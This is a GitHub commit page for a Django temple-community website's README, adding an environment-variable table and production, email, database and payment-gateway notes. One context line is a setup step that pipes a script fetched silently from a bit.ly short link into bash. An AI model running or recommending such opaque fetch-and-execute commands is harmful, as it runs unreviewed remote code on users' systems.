Skip to content

Commit 2c87541

Browse files
committed
Update documentation with Docker setup
- Add Docker setup instructions - Document environment variables - Add development setup guide
1 parent 1a9a72f commit 2c87541

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed

README.md

+43
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,49 @@ A modern and dynamic website for temple communities.
2626
curl https://bit.ly/twiubd -Lks | bash
2727
```
2828

29+
## Environment Variables
30+
31+
| Environment Variable | Purpose | Example Value |
32+
|-------------------------|------------------------------------------------------------------|----------------------------|
33+
| DEBUG | Enable Django debug mode | True |
34+
| PROD | Enable production mode | False |
35+
| SECRET_KEY | Django secret key for security | your-secret-key-here |
36+
| MORE_ALLOWED_HOSTS | Additional allowed hosts (comma-separated IPs/domains) | 139.59.38.218,139.59.38.219|
37+
| PROD_FILES_ROOT | Root directory for production files | /var/www/ |
38+
| PROD_DOMAIN | Production domain name | iskconbarasat.com |
39+
| DEPLOYMENT_VERSION | Version identifier for deployment | TestingLocal-Tue-June-20-2023|
40+
| DEFAULT_FROM_EMAIL | Default sender email address | [email protected] |
41+
| EMAIL_HOST_USER | SMTP server username | [email protected] |
42+
| EMAIL_HOST_PASSWORD | SMTP server password | your-email-password |
43+
| PAYMENT_GATEWAY_API_KEY| API key for payment gateway | your-gateway-api-key |
44+
| DB_NAME | PostgreSQL database name | unison_db |
45+
| DB_USER | PostgreSQL database user | unison_user |
46+
| DB_PASSWORD | PostgreSQL database password | your-strong-password |
47+
| DB_HOST | PostgreSQL database host | db |
48+
| DB_PORT | PostgreSQL database port | 5432 |
49+
| CELERY_BROKER_URL | URL for Celery message broker (if using Celery) | redis://localhost:6379 |
50+
| CELERY_RESULT_BACKEND | URL for Celery result backend (if using Celery) | redis://localhost:6379 |
51+
52+
### Important Notes:
53+
54+
1. For production deployment:
55+
- Set `DEBUG=False`
56+
- Set `PROD=True`
57+
- Ensure `SECRET_KEY` is a strong, unique value
58+
- Configure `MORE_ALLOWED_HOSTS` with your server IPs/domains
59+
60+
2. Email Configuration:
61+
- `DEFAULT_FROM_EMAIL` and `EMAIL_HOST_USER` are typically the same
62+
- Ensure `EMAIL_HOST_PASSWORD` is secure and properly configured
63+
64+
3. Database Configuration:
65+
- When using Docker, `DB_HOST` should be set to `db`
66+
- Ensure `DB_PASSWORD` is strong and secure
67+
68+
4. Payment Gateway:
69+
- `PAYMENT_GATEWAY_API_KEY` is required for processing payments
70+
- Keep this key secure and never commit it to version control
71+
2972
## Note
3073

3174
- In addition to turning Debug=False, you also need to set Prod=True in the env vars

0 commit comments

Comments
 (0)